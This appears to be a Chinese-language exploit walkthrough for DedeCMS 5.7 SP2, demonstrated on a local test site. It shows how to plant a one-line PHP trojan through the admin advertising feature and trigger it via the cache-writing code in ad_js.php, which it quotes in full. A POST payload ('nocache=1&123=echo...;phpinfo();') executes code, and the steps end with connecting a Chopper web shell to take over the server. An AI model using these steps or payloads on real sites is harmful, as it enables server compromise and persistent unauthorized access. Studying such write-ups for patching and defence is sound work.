Dedecms 5.7 SP2后台广告管理处getshell
dedecms版本可以到织梦官网下载:http://www.dedecms.com/products/dedecms/downloads/
1、搭建成功,后台管理系统
2、进入后台后,找到广告,新增一个广告
3、填写广告内容,嵌入一句话木马
4、提交,抓包,发现添加成功
5、查看广告代码,有相应的地址 /DedeCMSv5/src/plus/ad_js.php?aid=3
6、访问,并查看页面源代码
http://127.0.0.1:82/DedeCMSv5/src/plus/ad_js.php?aid=3
7、查看代码ad_js.php
<?php
/**
*
* 广告JS调用方式
*
* @version $Id: ad_js.php 1 20:30 2010年7月8日Z tianya $
* @package DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '\"',$adbody);
$adbody = str_replace("\r", "\\r",$adbody);
$adbody = str_replace("\n", "\\n",$adbody);
$adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
8、进入hackabr环境,添加postdata,nocache=1&123=echo ‘–>’;phpinfo();
(此处省略较多代码审计过程,其中123是前面一句话木马的密码)
9、经验告诉我们,执行代码后,写入的“恶意“代码文件存放之/data/cache目录下
10、找到这个文件,用菜刀连接,连接成功,成功拿下shell
|